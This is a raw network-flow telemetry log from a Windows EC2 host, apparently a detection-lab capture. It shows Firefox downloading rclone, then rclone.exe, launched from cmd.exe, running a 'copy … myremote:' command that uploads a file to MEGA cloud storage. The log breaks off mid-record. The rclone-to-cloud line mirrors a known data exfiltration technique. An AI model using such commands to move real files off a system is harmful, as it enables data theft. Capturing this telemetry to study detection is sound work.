pil="12288" ppil="12288" fsg="1" puid="CAF96F5CD2C88416891C00372595B667"
Jul  3 23:29:12 127.0.0.1 Jul  3 23:29:12 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="50451" da="66.203.125.53" dp="80" fd="1" fss="1751585351" fst="Thu Jul  3 23:29:11 2025" fes="1751585351" fet="Thu Jul  3 23:29:11 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="rclone.exe" ph="25E803D081AFEB15BDBA2E3CAB634707DEA7A999434EA751931A51E165A6C9B8" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="w.api.mega.co.nz" iid="8" mnl="''" mhl="''" fsms="1751585351049" fems="1751585351049" pid="11668" ppath="C:\Users\Administrator\Downloads\rclone-v1.70.2-windows-amd64\rclone.exe" parg=" copy C:\Users\Administrator\Downloads\7z2409-x64.exe myremote:" ppid="6220" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="CAF96F5CD2C88416891C00372595B667"
Jul  3 23:29:32 127.0.0.1 Jul  3 23:29:32 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="50450" da="66.203.125.11" dp="443" fd="1" fss="1751585349" fst="Thu Jul  3 23:29:09 2025" fes="1751585352" fet="Thu Jul  3 23:29:12 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="rclone.exe" ph="25E803D081AFEB15BDBA2E3CAB634707DEA7A999434EA751931A51E165A6C9B8" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="10419" obc="2314" ds="us-east-2.compute.internal" dh="g.api.mega.co.nz" iid="8" mnl="''" mhl="''" fsms="1751585349418" fems="1751585352900" pid="11668" ppath="C:\Users\Administrator\Downloads\rclone-v1.70.2-windows-amd64\rclone.exe" parg=" copy C:\Users\Administrator\Downloads\7z2409-x64.exe myremote:" ppid="6220" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="0" puid="CAF96F5CD2C88416891C00372595B667"
Jul  3 23:29:11 127.0.0.1 Jul  3 23:29:11 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="50450" da="66.203.125.11" dp="443" fd="1" fss="1751585349" fst="Thu Jul  3 23:29:09 2025" fes="1751585349" fet="Thu Jul  3 23:29:09 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="rclone.exe" ph="25E803D081AFEB15BDBA2E3CAB634707DEA7A999434EA751931A51E165A6C9B8" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="g.api.mega.co.nz" iid="8" mnl="''" mhl="''" fsms="1751585349418" fems="1751585349418" pid="11668" ppath="C:\Users\Administrator\Downloads\rclone-v1.70.2-windows-amd64\rclone.exe" parg=" copy C:\Users\Administrator\Downloads\7z2409-x64.exe myremote:" ppid="6220" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="CAF96F5CD2C88416891C00372595B667"
Jul  3 23:19:06 127.0.0.1 Jul  3 23:19:06 ip-172-31-30-201  fv="nvzFlow_v9" pr="17" sa="172.16.3.110" sp="50105" da="95.217.6.16" dp="443" fd="1" fss="1751584698" fst="Thu Jul  3 23:18:18 2025" fes="1751584728" fet="Thu Jul  3 23:18:48 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="firefox.exe" ph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ppa="''" ppuat="0" ppn="firefox.exe" pph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ibc="0" obc="22536" ds="us-east-2.compute.internal" dh="downloads.rclone.org" iid="8" mnl="Form Autofill - 1.0.1 Picture-In-Picture - 1.0.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 138.4.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 140.7.20250522.151919" mhl="''" fsms="1751584698292" fems="1751584728302" pid="7956" ppath="C:\Program Files\Mozilla Firefox\firefox.exe" parg="-osint -url https://securityscorecard.com/company/contact-us/" ppid="8472" aliul="''" pil="8192" ppil="-1" fsg="0" puid="4BD418A320C68E8F9AC33AAD3FE7FFFE"
Jul  3 23:18:35 127.0.0.1 Jul  3 23:18:35 ip-172-31-30-201  fv="nvzFlow_v9" pr="17" sa="172.16.3.110" sp="50105" da="95.217.6.16" dp="443" fd="1" fss="1751584698" fst="Thu Jul  3 23:18:18 2025" fes="1751584698" fet="Thu Jul  3 23:18:18 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="firefox.exe" ph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ppa="''" ppuat="0" ppn="firefox.exe" pph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="downloads.rclone.org" iid="8" mnl="Form Autofill - 1.0.1 Picture-In-Picture - 1.0.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 138.4.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 140.7.20250522.151919" mhl="''" fsms="1751584698292" fems="1751584698294" pid="7956" ppath="C:\Program Files\Mozilla Firefox\firefox.exe" parg="-osint -url https://securityscorecard.com/company/contact-us/" ppid="8472" aliul="''" pil="8192" ppil="-1" fsg="1" puid="4BD418A320C68E8F9AC33AAD3FE7FFFE"
Jul  3 23:21:26 127.0.0.1 Jul  3 23:21:26 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="50384" da="95.217.6.16" dp="443" fd="1" fss="1751584697" fst="Thu Jul  3 23:18:17 2025" fes="1751584880" fet="Thu Jul  3 23:21:20 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="firefox.exe" ph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ppa="''" ppuat="0" ppn="firefox.exe" pph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ibc="24832223" obc="2856" ds="us-east-2.compute.internal" dh="downloads.rclone.org" iid="8" mnl="Form Autofill - 1.0.1 Picture-In-Picture - 1.0.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 138.4.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 140.7.20250522.151919" mhl="''" fsms="1751584697378" fems="1751584880253" pid="7956" ppath="C:\Program Files\Mozilla Firefox\firefox.exe" parg="-osint -url https://securityscorecard.com/company/contact-us/" ppid="8472" aliul="''" pil="8192" ppil="-1" fsg="0" puid="4BD418A320C68E8F9AC33AAD3FE7FFFE"
Jul  3 23:21:21 127.0.0.1 Jul  3 23:21:21 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="50384" da="95.217.6.16" dp="443" fd="1" fss="1751584697" fst="Thu Jul  3 23:18:17 2025" fes="1751584880" fet="Thu Jul  3 23:21:20 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="firefox.exe" ph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ppa="''" ppuat="0" ppn="firefox.exe" pph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ibc="24832223" obc="2832" ds="us-east-2.compute.internal" dh="downloads.rclone.org" iid="8" mnl="Form Autofill - 1.0.1 Picture-In-Picture - 1.0.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 138.4.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 140.7.20250522.151919" mhl="''" fsms="1751584697378" fems="1751584880253" pid="7956" ppath="C:\Program Files\Mozilla Firefox\firefox.exe" parg="-osint -url https://securityscorecard.com/company/contact-us/" ppid="8472" aliul="''" pil="8192" ppil="-1" fsg="2" puid="4BD418A320C68E8F9AC33AAD3FE7FFFE"
Jul  3 23:19:42 127.0.0.1 Jul  3 23:19:42 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="50384" da="95.217.6.16" dp="443" fd="1" fss="1751584697" fst="Thu Jul  3 23:18:17 2025" fes="1751584768" fet="Thu Jul  3 23:19:28 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="firefox.exe" ph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ppa="''" ppuat="0" ppn="firefox.exe" pph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ibc="24832145" obc="2754" ds="us-east-2.compute.internal" dh="downloads.rclone.org" iid="8" mnl="Form Autofill - 1.0.1 Picture-In-Picture - 1.0.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 138.4.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 140.7.20250522.151919" mhl="''" fsms="1751584697378" fems="1751584768586" pid="7956" ppath="C:\Program Files\Mozilla Firefox\firefox.exe" parg="-osint -url https://securityscorecard.com/company/contact-us/" ppid="8472" aliul="''" pil="8192" ppil="-1" fsg="2" puid="4BD418A320C68E8F9AC33AAD3FE7FFFE"
Jul  3 23:18:33 127.0.0.1 Jul  3 23:18:33 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="50383" da="95.217.6.16" dp="443" fd="1" fss="1751584697" fst="Thu Jul  3 23:18:17 2025" fes="1751584698" fet="Thu Jul  3 23:18:18 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="firefox.exe" ph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ppa="''" ppuat="0" ppn="firefox.exe" pph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ibc="2548" obc="2102" ds="us-east-2.compute.internal" dh="downloads.rclone.org" iid="8" mnl="Form Autofill - 1.0.1 Picture-In-Picture - 1.0.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 138.4.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 140.7.20250522.151919" mhl="''" fsms="1751584697300" fems="1751584698175" pid="7956" ppath="C:\Program Files\Mozilla Firefox\firefox.exe" parg="-osint -url https://securityscorecard.com/company/contact-us/" ppid="8472" aliul="''" pil="8192" ppil="-1" fsg="0" puid="4BD418A320C68E8F9AC33AAD3FE7FFFE"
Jul  3 23:18:27 127.0.0.1 Jul  3 23:18:27 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="50384" da="95.217.6.16" dp="443" fd="1" fss="1751584697" fst="Thu Jul  3 23:18:17 2025" fes="1751584697" fet="Thu Jul  3 23:18:17 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="firefox.exe" ph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ppa="''" ppuat="0" ppn="firefox.exe" pph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="downloads.rclone.org" iid="8" mnl="Form Autofill - 1.0.1 Picture-In-Picture - 1.0.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 138.4.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 140.7.20250522.151919" mhl="''" fsms="1751584697378" fems="1751584697378" pid="7956" ppath="C:\Program Files\Mozilla Firefox\firefox.exe" parg="-osint -url https://securityscorecard.com/company/contact-us/" ppid="8472" aliul="''" pil="8192" ppil="-1" fsg="1" puid="4BD418A320C68E8F9AC33AAD3FE7FFFE"
Jul  3 23:18:27 127.0.0.1 Jul  3 23:18:27 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="50383" da="95.217.6.16" dp="443" fd="1" fss="1751584697" fst="Thu Jul  3 23:18:17 2025" fes="1751584697" fet="Thu Jul  3 23:18:17 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="firefox.exe" ph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ppa="''" ppuat="0" ppn="firefox.exe" pph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="downloads.rclone.org" iid="8" mnl="Form Autofill - 1.0.1 Picture-In-Picture - 1.0.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 138.4.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 140.7.20250522.151919" mhl="''" fsms="1751584697300" fems="1751584697300" pid="7956" ppath="C:\Program Files\Mozilla Firefox\firefox.exe" parg="-osint -url https://securityscorecard.com/company/contact-us/" ppid="8472" aliul="''" pil="8192" ppil="-1" fsg="1" puid="4BD418A320C68E8F9AC33AAD3FE7FFFE"
Jul  3 23:20:48 127.0.0.1 Jul  3 23:20:48 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="50360" da="65.108.241.227" dp="443" fd="1" fss="1751584665" fst="Thu Jul  3 23:17:45 2025" fes="1751584835" fet="Thu Jul  3 23:20:35 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="firefox.exe" ph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ppa="''" ppuat="0" ppn="firefox.exe" pph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ibc="3016" obc="2657" ds="us-east-2.compute.internal" dh="weblog.rclone.org" iid="8" mnl="Form Autofill - 1.0.1 Picture-In-Picture - 1.0.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 138.4.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 140.7.20250522.151919" mhl="''" fsms="1751584665062" fems="1751584835964" pid="7956" ppath="C:\Program Files\Mozilla Firefox\firefox.exe" parg="-osint -url https://securityscorecard.com/company/contact-us/" ppid="8472" aliul="''" pil="8192" ppil="-1" fsg="0" puid="4BD418A320C68E8F9AC33AAD3FE7FFFE"
Jul  3 23:19:49 127.0.0.1 Jul  3 23:19:49 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="50360" da="65.108.241.227" dp="443" fd="1" fss="1751584665" fst="Thu Jul  3 23:17:45 2025" fes="1751584782" fet="Thu Jul  3 23:19:42 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="firefox.exe" ph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ppa="''" ppuat="0" ppn="firefox.exe" pph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ibc="2977" obc="2594" ds="us-east-2.compute.internal" dh="weblog.rclone.org" iid="8" mnl="Form Autofill - 1.0.1 Picture-In-Picture - 1.0.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 138.4.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 140.7.20250522.151919" mhl="''" fsms="1751584665062" fems="1751584782867" pid="7956" ppath="C:\Program Files\Mozilla Firefox\firefox.exe" parg="-osint -url https://securityscorecard.com/company/contact-us/" ppid="8472" aliul="''" pil="8192" ppil="-1" fsg="2" puid="4BD418A320C68E8F9AC33AAD3FE7FFFE"
Jul  3 23:17:50 127.0.0.1 Jul  3 23:17:50 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="50360" da="65.108.241.227" dp="443" fd="1" fss="1751584665" fst="Thu Jul  3 23:17:45 2025" fes="1751584665" fet="Thu Jul  3 23:17:45 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="firefox.exe" ph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ppa="''" ppuat="0" ppn="firefox.exe" pph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="weblog.rclone.org" iid="8" mnl="Form Autofill - 1.0.1 Picture-In-Picture - 1.0.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 138.4.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 140.7.20250522.151919" mhl="''" fsms="1751584665062" fems="1751584665062" pid="7956" ppath="C:\Program Files\Mozilla Firefox\firefox.exe" parg="-osint -url https://securityscorecard.com/company/contact-us/" ppid="8472" aliul="''" pil="8192" ppil="-1" fsg="1" puid="4BD418A320C68E8F9AC33AAD3FE7FFFE"
Jul  3 23:20:46 127.0.0.1 Jul  3 23:20:46 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="50357" da="65.108.241.227" dp="443" fd="1" fss="1751584664" fst="Thu Jul  3 23:17:44 2025" fes="1751584835" fet="Thu Jul  3 23:20:35 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="firefox.exe" ph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ppa="''" ppuat="0" ppn="firefox.exe" pph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ibc="3758" obc="2489" ds="us-east-2.compute.internal" dh="weblog.rclone.org" iid="8" mnl="Form Autofill - 1.0.1 Picture-In-Picture - 1.0.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 138.4.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 140.7.20250522.151919" mhl="''" fsms="1751584664177" fems="1751584835964" pid="7956" ppath="C:\Program Files\Mozilla Firefox\firefox.exe" parg="-osint -url https://securityscorecard.com/company/contact-us/" ppid="8472" aliul="''" pil="8192" ppil="-1" fsg="0" puid="4BD418A320C68E8F9AC33AAD3FE7FFFE"
Jul  3 23:19:49 127.0.0.1 Jul  3 23:19:49 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="50357" da="65.108.241.227" dp="443" fd="1" fss="1751584664" fst="Thu Jul  3 23:17:44 2025" fes="1751584782" fet="Thu Jul  3 23:19:42 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="firefox.exe" ph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ppa="''" ppuat="0" ppn="firefox.exe" pph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ibc="3719" obc="2426" ds="us-east-2.compute.internal" dh="weblog.rclone.org" iid="8" mnl="Form Autofill - 1.0.1 Picture-In-Picture - 1.0.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 138.4.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 140.7.20250522.151919" mhl="''" fsms="1751584664177" fems="1751584782867" pid="7956" ppath="C:\Program Files\Mozilla Firefox\firefox.exe" parg="-osint -url https://securityscorecard.com/company/contact-us/" ppid="8472" aliul="''" pil="8192" ppil="-1" fsg="2" puid="4BD418A320C68E8F9AC33AAD3FE7FFFE"
Jul  3 23:18:17 127.0.0.1 Jul  3 23:18:17 ip-172-31-30-201  fv="nvzFlow_v9" pr="17" sa="172.16.3.110" sp="59562" da="65.108.241.227" dp="443" fd="1" fss="1751584664" fst="Thu Jul  3 23:17:44 2025" fes="1751584695" fet="Thu Jul  3 23:18:15 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="firefox.exe" ph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ppa="''" ppuat="0" ppn="firefox.exe" pph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ibc="0" obc="20032" ds="us-east-2.compute.internal" dh="weblog.rclone.org" iid="8" mnl="Form Autofill - 1.0.1 Picture-In-Picture - 1.0.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 138.4.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 140.7.20250522.151919" mhl="''" fsms="1751584664970" fems="1751584695087" pid="7956" ppath="C:\Program Files\Mozilla Firefox\firefox.exe" parg="-osint -url https://securityscorecard.com/company/contact-us/" ppid="8472" aliul="''" pil="8192" ppil="-1" fsg="0" puid="4BD418A320C68E8F9AC33AAD3FE7FFFE"
Jul  3 23:17:50 127.0.0.1 Jul  3 23:17:50 ip-172-31-30-201  fv="nvzFlow_v9" pr="17" sa="172.16.3.110" sp="59562" da="65.108.241.227" dp="443" fd="1" fss="1751584664" fst="Thu Jul  3 23:17:44 2025" fes="1751584664" fet="Thu Jul  3 23:17:44 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="firefox.exe" ph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ppa="''" ppuat="0" ppn="firefox.exe" pph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="weblog.rclone.org" iid="8" mnl="Form Autofill - 1.0.1 Picture-In-Picture - 1.0.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 138.4.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 140.7.20250522.151919" mhl="''" fsms="1751584664970" fems="1751584664971" pid="7956" ppath="C:\Program Files\Mozilla Firefox\firefox.exe" parg="-osint -url https://securityscorecard.com/company/contact-us/" ppid="8472" aliul="''" pil="8192" ppil="-1" fsg="1" puid="4BD418A320C68E8F9AC33AAD3FE7FFFE"
Jul  3 23:17:49 127.0.0.1 Jul  3 23:17:49 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="50357" da="65.108.241.227" dp="443" fd="1" fss="1751584664" fst="Thu Jul  3 23:17:44 2025" fes="1751584664" fet="Thu Jul  3 23:17:44 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="firefox.exe" ph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ppa="''" ppuat="0" ppn="firefox.exe" pph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="weblog.rclone.org" iid="8" mnl="Form Autofill - 1.0.1 Picture-In-Picture - 1.0.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 138.4.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 140.7.20250522.151919" mhl="''" fsms="1751584664177" fems="1751584664177" pid="7956" ppath="C:\Program Files\Mozilla Firefox\firefox.exe" parg="-osint -url https://securityscorecard.com/company/contact-us/" ppid="8472" aliul="''" pil="8192" ppil="-1" fsg="1" puid="4BD418A320C68E8F9AC33AAD3FE7FFFE"
Jul  3 23:18:17 127.0.0.1 Jul  3 23:18:17 ip-172-31-30-201  fv="nvzFlow_v9" pr="17" sa="172.16.3.110" sp="59560" da="95.217.6.16" dp="443" fd="1" fss="1751584663" fst="Thu Jul  3 23:17:43 2025" fes="1751584693" fet="Thu Jul  3 23:18:13 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="firefox.exe" ph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ppa="''" ppuat="0" ppn="firefox.exe" pph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ibc="0" obc="25040" ds="us-east-2.compute.internal" dh="rclone.org" iid="8" mnl="Form Autofill - 1.0.1 Picture-In-Picture - 1.0.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 138.4.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 140.7.20250522.151919" mhl="''" fsms="1751584663242" fems="1751584693343" pid="7956" ppath="C:\Program 